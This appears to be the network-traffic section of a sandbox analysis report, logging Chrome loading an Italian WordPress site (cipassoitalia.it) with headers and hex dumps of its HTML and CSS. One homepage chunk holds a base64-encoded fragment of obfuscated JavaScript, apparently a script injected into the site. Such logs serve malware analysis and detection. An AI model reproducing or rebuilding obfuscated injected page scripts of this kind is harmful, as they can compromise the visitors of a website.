Jan 9, 2025 13:19:09.351367950 CET	430	IN	HTTP/1.1 301 Moved Permanently Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:09 GMT Content-Type: text/html Content-Length: 168 Connection: keep-alive Location: https://www.cipassoitalia.it/ X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 61 72 75 62 61 2d 70 72 6f 78 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>aruba-proxy</center></body></html>
Jan 9, 2025 13:19:54.359164953 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49709	89.46.108.67	80	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 13:19:53.673397064 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49710	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:10 UTC	663	OUT	GET / HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:10 UTC	485	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Link: <https://www.cipassoitalia.it/wp-json/>; rel="https://api.w.org/", <https://www.cipassoitalia.it/wp-json/wp/v2/pages/838>; rel="alternate"; type="application/json", <https://www.cipassoitalia.it/>; rel=shortlink X-ServerName: webx.aruba.it X-Aruba-Cache: HIT Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:10 UTC	15899	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 74 2d 49 54 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 5f 73 74 72 65 74 63 68 65 64 20 72 65 73 70 6f 6e 73 69 76 65 20 61 76 2d 70 72 65 6c 6f 61 64 65 72 2d 64 69 73 61 62 6c 65 64 20 61 76 2d 64 65 66 61 75 6c 74 2d 6c 69 67 68 74 62 6f 78 20 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 74 6f 70 20 68 74 6d 6c 5f 6c 6f 67 6f 5f 6c 65 66 74 20 68 74 6d 6c 5f 6d 61 69 6e 5f 6e 61 76 5f 68 65 61 64 65 72 20 68 74 6d 6c 5f 6d 65 6e 75 5f 72 69 67 68 74 20 68 74 6d 6c 5f 63 75 73 74 6f 6d 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 74 69 63 6b 79 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 68 72 69 6e 6b 69 6e 67 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 74 6f 70 62 61 Data Ascii: 8000<!DOCTYPE html><html lang="it-IT" class="html_stretched responsive av-preloader-disabled av-default-lightbox html_header_top html_logo_left html_main_nav_header html_menu_right html_custom html_header_sticky html_header_shrinking html_header_topba
2025-01-09 12:19:10 UTC	16384	IN	Data Raw: 39 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 76 69 61 2d 6d 6f 64 75 6c 65 2d 70 72 6f 6d 6f 62 6f 78 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 69 70 61 73 73 6f 69 74 61 6c 69 61 2e 69 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 6e 66 6f 6c 64 2f 63 6f 6e 66 69 67 2d 74 65 6d 70 6c 61 74 65 62 75 69 6c 64 65 72 2f 61 76 69 61 2d 73 68 6f 72 74 63 6f 64 65 73 2f 70 72 6f 6d 6f 62 6f 78 2f 70 72 6f 6d 6f 62 6f 78 2e 63 73 73 3f 76 65 72 3d 36 2e 30 2e 39 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e Data Ascii: 9' type='text/css' media='all' /><link rel='stylesheet' id='avia-module-promobox-css' href='https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/promobox.css?ver=6.0.9' type='text/css' media='all' /><lin
2025-01-09 12:19:10 UTC	16384	IN	Data Raw: 57 45 34 49 43 73 67 4d 48 67 78 49 43 6f 67 4c 54 42 34 4e 44 51 32 49 43 73 67 4d 48 67 35 49 43 6f 67 4d 48 67 7a 4f 57 55 70 4b 53 6b 73 49 47 78 6c 62 69 41 39 49 46 38 77 65 44 4d 31 4e 32 51 33 59 6c 74 66 4d 48 67 7a 4d 32 55 35 5a 6a 59 6f 4d 48 67 78 4e 6a 4d 70 58 53 68 4f 64 57 31 69 5a 58 49 73 49 46 38 77 65 44 4d 31 4e 32 51 33 59 6c 74 66 4d 48 67 7a 4d 32 55 35 5a 6a 59 6f 4d 48 67 78 4e 6a 4d 70 58 53 68 66 4d 48 67 33 4e 6a 46 68 4e 44 45 73 49 48 56 75 61 47 56 34 5a 57 52 62 58 7a 42 34 4d 7a 4e 6c 4f 57 59 32 4b 44 42 34 4d 54 51 35 4b 56 30 6f 4d 48 67 7a 59 69 41 71 49 43 30 77 65 44 49 34 49 43 73 67 4c 54 42 34 4f 57 59 31 49 43 6f 67 4d 48 67 78 49 43 73 67 4c 54 42 34 4d 32 51 67 4b 69 41 74 4d 48 67 31 4d 53 77 67 58 7a 42 34 Data Ascii: WE4ICsgMHgxICogLTB4NDQ2ICsgMHg5ICogMHgzOWUpKSksIGxlbiA9IF8weDM1N2Q3YltfMHgzM2U5ZjYoMHgxNjMpXShOdW1iZXIsIF8weDM1N2Q3YltfMHgzM2U5ZjYoMHgxNjMpXShfMHg3NjFhNDEsIHVuaGV4ZWRbXzB4MzNlOWY2KDB4MTQ5KV0oMHgzYiAqIC0weDI4ICsgLTB4OWY1ICogMHgxICsgLTB4M2QgKiAtMHg1MSwgXzB4
2025-01-09 12:19:10 UTC	16384	IN	Data Raw: 20 77 69 64 74 68 3d 22 33 33 33 22 20 20 69 74 65 6d 70 72 6f 70 3d 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 20 20 2f 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 68 65 69 67 68 74 3a 32 30 70 78 27 20 63 6c 61 73 73 3d 27 68 72 20 68 72 2d 69 6e 76 69 73 69 62 6c 65 20 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 38 20 20 65 6c 5f 61 66 74 65 72 5f 61 76 5f 69 6d 61 67 65 20 20 65 6c 5f 62 65 66 6f 72 65 5f 61 76 5f 73 6c 69 64 65 73 68 6f 77 5f 61 63 63 6f 72 64 69 6f 6e 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 6c 61 73 74 20 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 20 27 20 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 2d 73 74 79 Data Ascii: width="333" itemprop="thumbnailUrl" /></div></div></div><div style='height:20px' class='hr hr-invisible avia-builder-el-8 el_after_av_image el_before_av_slideshow_accordion avia-builder-el-last '><span class='hr-inner ' ><span class='hr-inner-sty
2025-01-09 12:19:10 UTC	16384	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 27 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 63 6c 65 61 72 66 69 78 27 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 68 65 69 67 68 74 3a 32 30 70 78 27 20 63 6c 61 73 73 3d 27 68 72 20 68 72 2d 69 6e 76 69 73 69 62 6c 65 20 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 32 36 20 20 65 6c 5f 61 66 74 65 72 5f 61 76 5f 6c 61 79 6f 75 74 5f 72 6f 77 20 20 65 6c 5f 62 65 66 6f 72 65 5f 61 76 5f 73 65 63 74 69 6f 6e 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 6e 6f 2d 73 69 62 6c 69 6e 67 20 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 20 27 20 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 2d 73 74 79 6c 65 27 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 Data Ascii: <div class='entry-content-wrapper clearfix'><div style='height:20px' class='hr hr-invisible avia-builder-el-26 el_after_av_layout_row el_before_av_section avia-builder-el-no-sibling '><span class='hr-inner ' ><span class='hr-inner-style'></span></sp
2025-01-09 12:19:10 UTC	11459	IN	Data Raw: 65 63 65 73 73 61 72 69 20 70 65 72 20 69 6c 20 66 75 6e 7a 69 6f 6e 61 6d 65 6e 74 6f 20 64 69 20 71 75 65 73 74 6f 20 73 69 74 6f 2e 20 50 65 72 20 74 75 74 74 69 20 67 6c 69 20 61 6c 74 72 69 20 74 69 70 69 20 64 69 20 63 6f 6f 6b 69 65 20 61 62 62 69 61 6d 6f 20 62 69 73 6f 67 6e 6f 20 64 65 6c 20 73 75 6f 20 70 65 72 6d 65 73 73 6f 2e 3c 62 72 20 2f 3e 0d 0a 3c 62 72 20 2f 3e 0d 0a 51 75 65 73 74 6f 20 73 69 74 6f 20 75 74 69 6c 69 7a 7a 61 20 64 69 76 65 72 73 69 20 74 69 70 69 20 64 69 20 63 6f 6f 6b 69 65 2e 20 41 6c 63 75 6e 69 20 63 6f 6f 6b 69 65 20 73 6f 6e 6f 20 63 6f 6c 6c 6f 63 61 74 65 20 64 61 20 73 65 72 76 69 7a 69 20 64 69 20 74 65 72 7a 69 20 63 68 65 20 63 6f 6d 70 61 69 6f 6e 6f 20 73 75 6c 6c 65 20 6e 6f 73 74 72 65 20 70 61 67 69 Data Ascii: ecessari per il funzionamento di questo sito. Per tutti gli altri tipi di cookie abbiamo bisogno del suo permesso.<br /><br />Questo sito utilizza diversi tipi di cookie. Alcuni cookie sono collocate da servizi di terzi che compaiono sulle nostre pagi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49713	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:11 UTC	584	OUT	GET /wp-content/themes/enfold/css/grid.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:11 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:11 GMT Content-Type: text/css Content-Length: 9488 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:11 UTC	9488	IN	Data Raw: 0a 2f 2a 20 54 61 62 6c 65 20 6f 66 20 43 6f 6e 74 65 6e 74 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 20 20 20 20 23 42 61 73 65 20 39 36 30 20 47 72 69 64 0a 20 20 20 20 23 54 61 62 6c 65 74 20 28 50 6f 72 74 72 61 69 74 29 0a 20 20 20 20 23 4d 6f 62 69 6c 65 20 28 50 6f 72 74 72 61 69 74 29 0a 20 20 20 20 23 4d 6f 62 69 6c 65 20 28 4c 61 6e 64 73 63 61 70 65 29 0a 20 20 20 20 23 43 6c 65 61 72 69 6e 67 20 2a 2f 0a 2f 2a 20 23 42 61 73 65 20 39 36 30 20 47 72 69 64 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2a 2f 0a 68 74 6d 6c Data Ascii: /* Table of Contents================================================== #Base 960 Grid #Tablet (Portrait) #Mobile (Portrait) #Mobile (Landscape) #Clearing // #Base 960 Grid================================================== */html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49714	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:11 UTC	584	OUT	GET /wp-content/themes/enfold/css/base.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:11 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:11 GMT Content-Type: text/css Content-Length: 19050 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:11 UTC	16091	IN	Data Raw: 2f 2a 20 54 61 62 6c 65 20 6f 66 20 43 6f 6e 74 65 6e 74 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 09 23 52 65 73 65 74 20 26 20 42 61 73 69 63 73 0a 09 23 42 61 73 69 63 20 53 74 79 6c 65 73 0a 09 23 53 69 74 65 20 53 74 79 6c 65 73 0a 09 23 54 79 70 6f 67 72 61 70 68 79 0a 09 23 4c 69 6e 6b 73 0a 09 23 4c 69 73 74 73 0a 09 23 49 6d 61 67 65 73 0a 09 23 42 75 74 74 6f 6e 73 0a 09 23 46 6f 72 6d 73 0a 09 23 54 61 62 6c 65 0a 09 23 4d 69 73 63 0a 20 20 20 20 23 57 6f 72 64 50 72 65 73 73 20 47 65 6e 65 72 61 74 65 64 20 47 65 6e 65 72 69 63 73 0a 20 20 20 20 23 70 72 69 6e 74 20 73 74 79 6c 65 73 0a 2a 2f 0a 0a 2f 2a 20 23 52 65 73 65 74 20 26 Data Ascii: /* Table of Content==================================================#Reset & Basics#Basic Styles#Site Styles#Typography#Links#Lists#Images#Buttons#Forms#Table#Misc #WordPress Generated Generics #print styles// #Reset &
2025-01-09 12:19:11 UTC	2959	IN	Data Raw: 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 7d 0a 23 74 6f 70 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 7d 0a 2e 62 6f 78 65 64 23 74 6f 70 7b 77 69 64 74 68 3a 31 30 30 25 7d 0a 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 0a 2e 75 6e 69 74 73 2c 2e 75 6e 69 74 7b 6d 61 72 67 69 6e 3a 30 7d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 6e 65 2e 75 6e 69 74 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 6e 65 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 74 77 6f 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 74 68 72 65 65 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 66 6f 75 72 2e 75 6e 69 74 73 2c 2e 63 6f 6e 74 61 69 6e 65 72 20 2e 66 69 76 65 2e Data Ascii: tainer{width:100%}#top{overflow-x:hidden}.boxed#top{width:100%}.container{width:100%;margin:0 auto}.units,.unit{margin:0}.container .one.unit,.container .one.units,.container .two.units,.container .three.units,.container .four.units,.container .five.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49715	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:11 UTC	586	OUT	GET /wp-content/themes/enfold/css/layout.css?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:11 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:11 GMT Content-Type: text/css Content-Length: 79923 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:11 UTC	16091	IN	Data Raw: 2f 2a 20 54 61 62 6c 65 20 6f 66 20 43 6f 6e 74 65 6e 74 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 09 23 53 69 74 65 20 53 74 79 6c 65 73 0a 09 23 42 6c 6f 67 20 53 74 79 6c 65 73 0a 09 23 50 61 67 65 20 53 74 79 6c 65 73 0a 09 23 50 6f 73 74 20 46 6f 72 6d 61 74 73 0a 09 23 57 69 64 67 65 74 20 26 20 53 69 64 65 62 61 72 0a 09 23 46 6f 6f 74 65 72 Data Ascii: /* Table of Content======================================================================================================================================================#Site Styles#Blog Styles#Page Styles#Post Formats#Widget & Sidebar#Footer
2025-01-09 12:19:11 UTC	16384	IN	Data Raw: 3a 73 6f 6c 69 64 3b 20 7d 0a 0a 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 6c 65 66 74 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 72 69 67 68 74 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 7d 0a 0a 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 6c 65 66 74 20 23 66 6f 6f 74 65 72 2c 20 2e 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 69 64 65 62 61 72 2e 68 74 6d 6c 5f 63 6f 6e 74 65 6e 74 5f 61 6c 69 67 6e 5f 72 69 67 68 74 20 Data Ascii: :solid; }.html_header_sidebar.html_content_align_left .container {float:left;}.html_header_sidebar.html_content_align_right .container {float:right;}.html_header_sidebar.html_content_align_left #footer, .html_header_sidebar.html_content_align_right
2025-01-09 12:19:11 UTC	16384	IN	Data Raw: 77 69 64 74 68 3a 20 6e 6f 6e 65 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0a 7d 0a 0a 23 74 6f 70 20 2e 61 76 2d 6d 61 69 6e 2d 6e 61 76 20 75 6c 20 75 6c 20 7b 0a 6c 65 66 74 3a 2d 32 30 37 70 78 3b 0a 74 6f 70 3a 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 30 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 70 78 0a 7d 0a 0a 2e 61 76 2d 6d 61 69 6e 2d 6e 61 76 20 6c 69 3a 68 6f 76 65 72 20 75 6c 20 75 6c 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 23 74 6f 70 20 2e 61 76 2d 6d 61 69 6e 2d 6e 61 76 20 6c 69 3a 68 6f Data Ascii: width: none;text-decoration: none;font-family: inherit;}#top .av-main-nav ul ul {left:-207px;top:0px;margin:0;border-top-style: solid;border-top-width: 1px;padding-top: 0px}.av-main-nav li:hover ul ul{ display:none; }#top .av-main-nav li:ho
2025-01-09 12:19:11 UTC	16384	IN	Data Raw: 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 73 74 79 6c 65 3a 20 64 61 73 68 65 64 3b 0a 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 7d 0a 0a 23 74 6f 70 20 2e 73 75 62 5f 6d 65 6e 75 20 6c 69 20 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 3e 20 61 20 7b 0a 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 0a 23 74 6f 70 20 2e 73 75 62 5f 6d 65 6e 75 20 6c 69 20 6c 69 20 61 3a 68 6f 76 65 72 7b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 38 66 38 66 38 3b 0a 7d 0a 0a 2f 2a 74 68 69 72 64 20 6c 65 76 65 6c 20 61 6e 64 20 64 65 65 70 65 72 2a 2f 0a 23 74 6f 70 20 Data Ascii: xt-decoration: none;display: block;border-top-style: dashed;border-top-width: 1px;}#top .sub_menu li li:first-child > a {border: none;}#top .sub_menu li li a:hover{text-decoration: none;background: #f8f8f8;}/third level and deeper/#top
2025-01-09 12:19:11 UTC	14680	IN	Data Raw: 09 09 2e 72 65 73 70 6f 6e 73 69 76 65 20 2e 61 76 69 61 2d 63 6f 6f 6b 69 65 6d 65 73 73 61 67 65 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2c 0a 09 09 2e 72 65 73 70 6f 6e 73 69 76 65 20 2e 61 76 69 61 2d 63 6f 6f 6b 69 65 6d 65 73 73 61 67 65 2d 74 6f 70 2d 72 69 67 68 74 2c 0a 09 09 2e 72 65 73 70 6f 6e 73 69 76 65 20 2e 61 76 69 61 2d 63 6f 6f 6b 69 65 6d 65 73 73 61 67 65 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 7b 20 77 69 64 74 68 3a 20 33 35 25 3b 20 7d 0a 0a 0a 09 7d 0a 0a 09 2f 2a 20 54 61 62 6c 65 74 20 50 6f 72 74 72 61 69 74 20 73 69 7a 65 20 74 6f 20 73 74 61 6e 64 61 72 64 20 39 36 30 20 28 64 65 76 69 63 65 73 20 61 6e 64 20 62 72 6f 77 73 65 72 73 29 20 2a 2f 0a 09 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e Data Ascii: .responsive .avia-cookiemessage-bottom-left,.responsive .avia-cookiemessage-top-right,.responsive .avia-cookiemessage-bottom-right{ width: 35%; }}/* Tablet Portrait size to standard 960 (devices and browsers) */@media only screen and (min

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49717	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:11 UTC	642	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:11 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:11 GMT Content-Type: text/css Content-Length: 1385 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
